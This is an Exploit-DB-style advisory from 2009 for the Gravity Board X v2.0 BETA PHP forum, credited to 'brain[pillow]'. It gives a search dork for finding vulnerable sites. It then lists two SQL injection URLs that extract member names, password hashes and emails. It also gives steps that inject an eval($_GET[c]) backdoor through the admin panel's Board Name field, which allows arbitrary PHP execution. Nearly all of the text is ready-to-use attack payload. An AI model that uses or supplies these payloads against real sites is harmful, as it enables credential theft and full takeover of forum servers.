Author: brain[pillow] type: webapps platform: php port: date_added: 2009-04-02 date_updated: 2016-12-07 verified: 1 codes: OSVDB-53569;CVE-2009-1278;CVE-2009-1277;OSVDB-46976;CVE-2008-2996 tags: aliases: screenshot_url: application_url: http://www.exploit-db.comGravity_Board_X_v2-BETA.zip
================================================================================
Found : brain[pillow]
Dork : "Powered By Gravity Board X v2.0 BETA"
Visit : brainpillow.cc, forum.antichat.ru, raz0r.name
Mail : brainpillow@gmail.com
================================================================================
SQL-injections:
/index.php?action=viewprofile&member_id=slider-loleg'+union+select+concat_ws(char(58),displayname,pw,email)+from+gbx_members+where+1='1
/index.php?action=viewboard&board_id=m0nzt3r-loleg-too'+union+select+0,concat_ws(char(58),displayname,pw,email),2+from+gbx_members+where+1='1
================================================================================
Code exec (in admin panel):
Go: /index.php?action=configure
Enter Board Name: xXx";if(isset($_GET[c]))eval($_GET[c]);#
Go: /index.php?ok=phpinfo();
================================================================================
# milw0rm.com [2009-04-03]